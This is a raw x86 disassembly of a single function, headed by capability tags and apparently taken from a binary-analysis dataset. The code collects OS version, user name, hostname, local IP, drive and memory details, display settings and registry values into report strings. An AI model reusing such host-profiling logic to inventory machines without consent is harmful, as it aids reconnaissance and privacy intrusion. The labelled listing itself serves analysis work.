Function at 0x408df8
Capabilities:
Check os version
Get common file path
Get disk information
Get geographical location
Get hostname
Get memory capacity
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc9
push 0
push 0
dec ecx
jne 0x408e00
push ecx
push ebx
push esi
push edi
mov esi, 0x41db54
mov edi, 0x41db6c
xor eax, eax
push ebp
push 0x40a2e8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, 0x40a300
call fcn.00403770
mov eax, edi
mov edx, 0x40a338
call fcn.00403770
mov dword [ebp - 0xe4], 0x94
mov eax, esi
mov edx, 0x40a344
call fcn.00403770
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov ebx, dword [ebp - 0xd4]
cmp ebx, 2
jne 0x408e77
lea eax, [ebp - 8]
mov edx, 0x40a408
call fcn.004037b4
jmp 0x408e9b
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5bc]
call fcn.00405358
mov ecx, dword [ebp - 0x5bc]
lea eax, [ebp - 8]
mov edx, 0x40a424
call fcn.004038e0
cmp byte [0x41db9c], 0
je 0x408eb3
lea eax, [ebp - 4]
mov edx, 0x40a440
call fcn.004037b4
jmp 0x408ec0
lea eax, [ebp - 4]
mov edx, 0x40a450
call fcn.004037b4
mov eax, esi
mov edx, 0x40a460
call fcn.00403770
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c0]
call fcn.00405358
push dword [ebp - 0x5c0]
push 0x40a478
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c4]
call fcn.00405358
push dword [ebp - 0x5c4]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0xc]
mov edx, 0x40a484
call fcn.004039e0
jne 0x408f30
lea eax, [ebp - 4]
mov edx, 0x40a490
call fcn.004037b4
mov eax, esi
mov edx, 0x40a4a0
call fcn.00403770
lea eax, [ebp - 0x18]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.0040387c
mov eax, esi
mov edx, 0x40a52c
call fcn.00403770
mov eax, dword [ebp - 0x18]
mov edx, 0x40a5bc
call fcn.004039e0
jne 0x408f79
lea eax, [ebp - 0x18]
mov edx, 0x40a5d4
call fcn.004037b4
jmp 0x408fd1
mov eax, dword [ebp - 0x18]
mov edx, 0x40a5e0
call fcn.004039e0
jne 0x408f97
lea eax, [ebp - 0x18]
mov edx, 0x40a5f8
call fcn.004037b4
jmp 0x408fd1
mov eax, dword [ebp - 0x18]
mov edx, 0x40a604
call fcn.004039e0
jne 0x408fb5
lea eax, [ebp - 0x18]
mov edx, 0x40a61c
call fcn.004037b4
jmp 0x408fd1
mov eax, dword [ebp - 0x18]
mov edx, 0x40a628
call fcn.004039e0
jne 0x408fd1
lea eax, [ebp - 0x18]
mov edx, 0x40a640
call fcn.004037b4
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c8]
call fcn.00405358
mov ecx, dword [ebp - 0x5c8]
lea eax, [ebp - 0x10]
mov edx, 0x40a64c
call fcn.004038e0
mov eax, esi
mov edx, 0x40a65c
call fcn.00403770
push dword [ebp - 4]
push 0x40a6cc
push dword [ebp - 0xc]
push 0x40a6d8
push dword [ebp - 0x18]
push 0x40a6d8
push dword [ebp - 0x10]
push 0x40a6d8
lea eax, [ebp - 0x14]
mov edx, 8
call fcn.00403954
push dword [edi]
push dword [ebp - 8]
push 0x40a338
push dword [ebp - 4]
push 0x40a6cc
push dword [ebp - 0xc]
push 0x40a338
push dword [ebp - 0x10]
push 0x40a338
push dword [ebp - 0x18]
push 0x40a338
push 0x40a6e4
push dword [0x41db1c]
push 0x40a6f8
push 0x40a338
mov eax, edi
mov edx, 0xf
call fcn.00403954
push 0xfa
lea eax, [ebp - 0x577]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, esi
mov edx, 0x40a704
call fcn.00403770
push dword [edi]
push 0x40a7ac
lea eax, [ebp - 0x5cc]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5cc]
push 0x40a338
mov eax, edi
mov edx, 4
call fcn.00403954
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x40a7c0
mov edx, 0x40a7d4
mov eax, 0x80000001
call fcn.00406928
push dword [edi]
push 0x40a7f8
push dword [ebp - 4]
push 0x40a338
mov eax, edi
mov edx, 4
call fcn.00403954
mov eax, esi
mov edx, 0x40a80c
call fcn.00403770
push dword [ebp - 0x14]
push dword [ebp - 4]
push 0x40a6d8
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403954
push dword [edi]
push 0x40a858
push dword [0x41db18]
push 0x40a338
mov eax, edi
mov edx, 4
call fcn.00403954
push dword [ebp - 0x14]
push 0x40a870
push dword [0x41db18]
push 0x40a6d8
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00403954
mov dword [ebp - 0x4c], 0x32
mov eax, esi
mov edx, 0x40a880
call fcn.00403770
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x577]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [edi]
push 0x40a8d4
lea eax, [ebp - 0x5d0]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5d0]
push 0x40a338
mov eax, edi
mov edx, 4
call fcn.00403954
mov eax, esi
mov edx, 0x40a8e8
call fcn.00403770
push dword [ebp - 0x14]
push 0x40a9a0
lea eax, [ebp - 0x5d4]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5d4]
push 0x40a6d8
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00403954
lea eax, [ebp - 4]
mov edx, 0x40a9b0
call fcn.004037b4
lea eax, [ebp - 8]
mov ecx, 0x40a9d4
mov edx, dword [ebp - 4]
call fcn.004038e0
mov eax, esi
mov edx, 0x40a9f0
call fcn.00403770
mov eax, dword [0x41c318]
push eax
mov ecx, 0x40aa54
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406874
lea edx, [ebp - 0xc]
call fcn.00405338
mov eax, dword [ebp - 0xc]
call fcn.00403894
cmp eax, 3
jge 0x409278
push 0
push 0x100000
call fcn.00406018
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0xc]
call fcn.00405358
mov eax, esi
mov edx, 0x40aa64
call fcn.00403770
push dword [ebp - 0x14]
push 0x40aadc
push dword [ebp - 0xc]
push 0x40a6d8
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00403954
push dword [edi]
push 0x40aaec
push 0x40aaf8
push dword [ebp - 0xc]
push 0x40ab08
push 0x40a338
push 0x40ab18
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0x5d8]
push eax
mov ecx, 0x40ab34
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406928
push dword [ebp - 0x5d8]
push 0x40a338
push 0x40ab50
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0x5dc]
push eax
mov ecx, 0x40ab68
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406928
push dword [ebp - 0x5dc]
push 0x40a338
push 0x40ab7c
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0x5e0]
push eax
mov ecx, 0x40ab90
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406928
push dword [ebp - 0x5e0]
push 0x40a338
push 0x40abac
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0x5e4]
push eax
mov ecx, 0x40abc4
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00406928
push dword [ebp - 0x5e4]
push 0x40a338
push 0x40abe0
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0x5e8]
push eax
mov ecx, 0x40abf4
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00406928
push dword [ebp - 0x5e8]
push 0x40a338
push 0x40ac0c
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0x5ec]
push eax
mov ecx, 0x40ac2c
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00406928
push dword [ebp - 0x5ec]
push 0x40a338
push 0x40ac48
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0x5f0]
push eax
mov ecx, 0x40ac64
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00406928
push dword [ebp - 0x5f0]
push 0x40a338
mov eax, edi
mov edx, 0x1b
call fcn.00403954
lea eax, [ebp - 4]
mov edx, 0x40ac7c
call fcn.004037b4
mov eax, esi
mov edx, 0x40ac8c
call fcn.00403770
xor eax, eax
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0x20]
call fcn.00405338
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f4]
mov ecx, dword [ebp - 0x10]
mov edx, 0x40ad4c
call fcn.004038e0
mov ecx, dword [ebp - 0x5f4]
mov edx, 0x40ad64
mov eax, 0x80000002
call fcn.00406928
mov eax, dword [ebp - 0xc]
call fcn.00403894
test eax, eax
jle 0x4094b7
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x40a338
mov eax, edi
mov edx, 4
call fcn.00403954
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f8]
mov ecx, dword [ebp - 0x10]
mov edx, 0x40ad8c
call fcn.004038e0
mov ecx, dword [ebp - 0x5f8]
mov edx, 0x40ada8
mov eax, 0x80000002
call fcn.00406928
mov eax, dword [ebp - 0xc]
call fcn.00403894
test eax, eax
jle 0x409513
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x40a338
mov eax, edi
mov edx, 4
call fcn.00403954
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jne 0x409450
mov eax, esi
mov edx, 0x40add4
call fcn.00403770
mov eax, dword [0x41c318]
push eax
mov ecx, 0x40ae04
mov edx, 0x40ae1c
mov eax, 0x80000002
call fcn.00406874
lea edx, [ebp - 0x10]
call fcn.00405338
mov eax, esi
mov edx, 0x40ae64
call fcn.00403770
mov eax, dword [ebp - 0x10]
call fcn.00403894
test eax, eax
jle 0x409580
push 0x40aefc
push dword [ebp - 0x10]
push 0x40a338
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403954
mov dword [ebp - 0x5b8], 0x20
lea eax, [ebp - 0x5b8]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, esi
mov edx, 0x40ac8c
call fcn.00403770
mov eax, dword [ebp - 0x5b0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 4]
call fcn.00405358
push dword [ebp - 0x14]
push 0x40af14
push dword [ebp - 4]
push 0x40a6d8
push dword [0x41db1c]
push 0x40a6d8
lea eax, [ebp - 0x14]
mov edx, 6
call fcn.00403954
push dword [edi]
push 0x40aaec
push 0x40af24
push 0x40a338
push 0x40af38
push dword [ebp - 4]
push 0x40af50
push 0x40a338
push 0x40af5c
mov eax, dword [ebp - 0x5b4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5fc]
call fcn.00405358
push dword [ebp - 0x5fc]
push 0x40af6c
push 0x40a338
push 0x40af78
mov eax, dword [ebp - 0x5ac]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x600]
call fcn.00405358
push dword [ebp - 0x600]
push 0x40af50
push 0x40a338
push 0x40aaec
push 0x40af90
push 0x40a338
push 0x40afa4
mov eax, dword [ebp - 0x5a8]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x604]
call fcn.00405358
push dword [ebp - 0x604]
push 0x40af50
push 0x40a338
push 0x40afb8
mov eax, dword [ebp - 0x5a4]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x608]
call fcn.00405358
push dword [ebp - 0x608]
push 0x40af50
push 0x40a338
push 0x40afcc
mov eax, dword [ebp - 0x5a0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x60c]
call fcn.00405358
push dword [ebp - 0x60c]
push 0x40af50
push 0x40a338
push 0x40afe4
mov eax, dword [ebp - 0x59c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x610]
call fcn.00405358
push dword [ebp - 0x610]
push 0x40af50
push 0x40a338
push 0x40a338
push 0x40affc
push dword [0x41db2c]
push 0x40a338
push dword [ebp - 0x10]
mov eax, edi
mov edx, 0x28
call fcn.00403954
mov eax, esi
mov edx, 0x40b00c
call fcn.00403770
lea eax, [ebp - 0x274]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0xff
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
mov eax, esi
mov edx, 0x40b064
call fcn.00403770
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 4]
call fcn.0040384c
push dword [edi]
push 0x40b07c
push dword [ebp - 4]
mov eax, edi
mov edx, 3
call fcn.00403954
mov eax, esi
mov edx, 0x40b090
call fcn.00403770
push dword [ebp - 0x14]
push 0x40b148
push dword [ebp - 4]
push 0x40a6d8
push 0x40b154
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403954
call sub.wsock32.dll_WSACleanup
mov eax, esi
mov edx, 0x40b164
call fcn.00403770
push dword [edi]
push 0x40a338
push 0x40a338
push 0x40b200
push 0x40a338
mov eax, edi
mov edx, 5
call fcn.00403954
mov bl, 0x42
mov eax, esi
mov edx, 0x40b218
call fcn.00403770
lea eax, [ebp - 0x614]
mov edx, ebx
call fcn.0040383c
mov edx, dword [ebp - 0x614]
lea eax, [ebp - 0x1c]
mov ecx, 0x40b2c0
call fcn.004038e0
mov eax, dword [ebp - 0x1c]
call fcn.00403a94
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x40985a.0
jmp dword [eax*4 + 0x409861]
mov eax, esi
mov edx, 0x40b2cc
call fcn.00403770
lea eax, [ebp - 4]
mov edx, 0x40b374
call fcn.004037b4
lea eax, [ebp - 8]
mov edx, 0x40b388
call fcn.004037b4
jmp 0x409999
mov eax, esi
mov edx, 0x40b394
call fcn.00403770
lea eax, [ebp - 4]
mov edx, 0x40b45c
call fcn.004037b4
lea eax, [ebp - 8]
mov edx, 0x40b46c
call fcn.004037b4
jmp 0x409999
mov eax, esi
mov edx, 0x40b478
call fcn.00403770
lea eax, [ebp - 4]
mov edx, 0x40b4b8
call fcn.004037b4
lea eax, [ebp - 8]
mov edx, 0x40b4c8
call fcn.004037b4
mov eax, esi
mov edx, 0x40b4d8
call fcn.00403770
jmp 0x409999
lea eax, [ebp - 4]
mov edx, 0x40b570
call fcn.004037b4
lea eax, [ebp - 8]
mov edx, 0x40b580
call fcn.004037b4
mov eax, esi
mov edx, 0x40b58c
call fcn.00403770
push dword [edi]
push 0x40a338
push 0x40aaec
push dword [ebp - 0x1c]
push dword [ebp - 4]
push 0x40a338
mov eax, edi
mov edx, 6
call fcn.00403954
lea eax, [ebp - 4]
call fcn.0040371c
mov eax, esi
mov edx, 0x40a300
call fcn.00403770
jmp 0x409999
lea eax, [ebp - 4]
mov edx, 0x40b5f0
call fcn.004037b4
lea eax, [ebp - 8]
mov edx, 0x40b600
call fcn.004037b4
mov eax, esi
mov edx, 0x40b614
call fcn.00403770
jmp 0x409999
lea eax, [ebp - 4]
call fcn.0040371c
mov eax, esi
mov edx, 0x40b678
call fcn.00403770
mov eax, dword [ebp - 4]
call fcn.00403894
dec eax
jl 0x409bfc
mov eax, esi
mov edx, 0x40b6f0
call fcn.00403770
push dword [ebp - 0x14]
lea eax, [ebp - 0x618]
mov edx, ebx
call fcn.0040383c
push dword [ebp - 0x618]
push 0x40b770
push dword [ebp - 8]
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00403954
push dword [edi]
push 0x40aaec
push dword [ebp - 0x1c]
push 0x40a338
push 0x40b77c
push dword [ebp - 4]
push 0x40a338
mov eax, edi
mov edx, 7
call fcn.00403954
mov eax, esi
mov edx, 0x40b78c
call fcn.00403770
push 0x64
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x104
lea eax, [ebp - 0x378]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00403a94
push eax
mov eax, dword [0x41c2fc]
mov eax, dword [eax]
call eax
test eax, eax
je 0x409b1a
push dword [edi]
push 0x40b7b8
lea eax, [ebp - 0x61c]
lea edx, [ebp - 0x378]
mov ecx, 0x104
call fcn.0040387c
push dword [ebp - 0x61c]
push 0x40a338
push 0x40b7c8
lea eax, [ebp - 0x620]
lea edx, [ebp - 0x47c]
mov ecx, 0x104
call fcn.0040387c
push dword [ebp - 0x620]
push 0x40a338
push 0x40b7d8
mov eax, dword [ebp - 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x624]
call fcn.00405358
push dword [ebp - 0x624]
push 0x40a338
push 0x40b7e8
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x628]
call fcn.00405358
push dword [ebp - 0x628]
push 0x40a338
push 0x40b7fc
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x62c]
call fcn.00405358
push dword [ebp - 0x62c]
push 0x40a338
mov eax, edi
mov edx, 0x10
call fcn.00403954
mov eax, esi
mov edx, 0x40b80c
call fcn.00403770
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00403a94
push eax
mov eax, dword [0x41c2ec]
mov eax, dword [eax]
call eax
test eax, eax
je 0x409bfc
push dword [edi]
push 0x40b834
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x630]
call fcn.00405358
push dword [ebp - 0x630]
push 0x40af50
push 0x40a338
push 0x40b844
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x634]
call fcn.00405358
push dword [ebp - 0x634]
push 0x40af50
push 0x40a338
push 0x40b854
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x638]
call fcn.00405358
push dword [ebp - 0x638]
push 0x40af50
push 0x40a338
mov eax, edi
mov edx, 0xd
call fcn.00403954
inc ebx
cmp bl, 0x5b
jne 0x409817
push 0
push 0
push 0
push 0x40b85c
call sub.gdi32.dll_CreateDCA
mov ebx, eax
push 8
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 4]
call fcn.00405338
mov eax, esi
mov edx, 0x40b86c
call fcn.00403770
push 0xa
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 8]
call fcn.00405338
push 0x74
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.00405338
push 0xc
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00405338
push ebx
call sub.gdi32.dll_DeleteDC
mov eax, esi
mov edx, 0x40b910
call fcn.00403770
push dword [edi]
push 0x40aaec
push 0x40b9a0
push 0x40a338
push 0x40b9b4
push dword [ebp - 4]
push 0x40a338
push 0x40b9c4
push dword [ebp - 8]
push 0x40a338
push 0x40b9d8
push dword [ebp - 0xc]
push 0x40a338
push 0x40b9ec
push dword [ebp - 0x10]
push 0x40a338
mov eax, edi
mov edx, 0x10
call fcn.00403954
push dword [ebp - 0x14]
push 0x40a6d8
push 0x40ba04
push dword [ebp - 4]
push 0x40ba14
push dword [ebp - 8]
push 0x40ba20
push dword [ebp - 0xc]
push 0x40ba14
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
mov edx, 0xa
call fcn.00403954
lea eax, [ebp - 0x598]
xor ecx, ecx
mov edx, 7
call fcn.00402bd8
lea eax, [ebp - 0x598]
push eax
push 8
mov eax, dword [0x41c310]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x4c], eax
mov eax, esi
mov edx, 0x40ba2c
call fcn.00403770
push 0x40ba7c
mov eax, dword [ebp - 0x4c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x63c]
call fcn.00405358
push dword [ebp - 0x63c]
push 0x40a338
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403954
mov eax, esi
mov edx, 0x40ba98
call fcn.00403770
mov eax, dword [ebp - 0x4c]
dec eax
test eax, eax
jl 0x40a1d3
inc eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0
lea ebx, [ebp - 0x598]
mov eax, dword [ebx]
and eax, 0xff
cmp eax, 0x38
ja case.0x409d97.0
jmp dword [eax*4 + 0x409d9e]
lea eax, [ebp - 0x10]
mov edx, 0x40badc
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40baec
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bafc
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb0c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb1c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb2c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb3c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb4c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb5c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb6c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb7c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb8c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bb9c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bba8
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bbbc
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bbd0
call fcn.004037b4
mov eax, esi
mov edx, 0x40bbe0
call fcn.00403770
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bc78
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bc88
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bc98
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bca8
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bcb8
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bcc8
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bcdc
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bcf0
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bd04
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bd14
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bd28
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bd38
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bd48
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bd5c
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bd70
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bd80
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bd94
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bda8
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bdb4
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bdc4
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bdd8
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bde8
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40bdf8
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40be08
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40be18
call fcn.004037b4
jmp case.0x409d97.0
lea eax, [ebp - 0x10]
mov edx, 0x40be24
call fcn.004037b4
mov eax, esi
mov edx, 0x40be34
call fcn.00403770
push dword [ebp - 4]
lea edx, [ebp - 0x640]
mov eax, dword [ebp - 0x20]
inc eax
call fcn.00405338
push dword [ebp - 0x640]
push 0x40b770
mov eax, dword [ebx]
and eax, 0xff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x644]
call fcn.00405358
push dword [ebp - 0x644]
push 0x40a6cc
push dword [ebp - 0x10]
push 0x40a338
lea eax, [ebp - 4]
mov edx, 7
call fcn.00403954
inc dword [ebp - 0x20]
add ebx, 4
dec dword [ebp - 0x50]
jne 0x409d87
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.0040389c
mov eax, esi
mov edx, 0x40be54
call fcn.00403770
lea eax, [ebp - 0xc]
mov edx, 0x40bef0
call fcn.004037b4
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x40bf0c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000001
call fcn.00406928
cmp dword [ebp - 4], 0
je 0x40a271
push dword [edi]
push 0x40aaec
push 0x40bf20
push dword [ebp - 4]
push 0x40a338
push 0x40bf38
mov eax, dword [0x41c318]
push eax
push 0x400
lea eax, [ebp - 0x648]
push eax
mov ecx, 0x40bf4c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406928
push dword [ebp - 0x648]
push 0x40a338
mov eax, edi
mov edx, 8
call fcn.00403954
push 0x40bf5c
push dword [ebp - 0x14]
push 0x40a338
push 0x40bf84
push 0x40a338
push 0x40bf94
lea edx, [ebp - 0x64c]
mov eax, 0x97
call fcn.00405338
push dword [ebp - 0x64c]
push dword [edi]
mov eax, edi
mov edx, 8
call fcn.00403954
mov eax, esi
mov edx, 0x40bfa8
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a2ef
lea eax, [ebp - 0x64c]
mov edx, 0x25
call fcn.00403740
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00403740
ret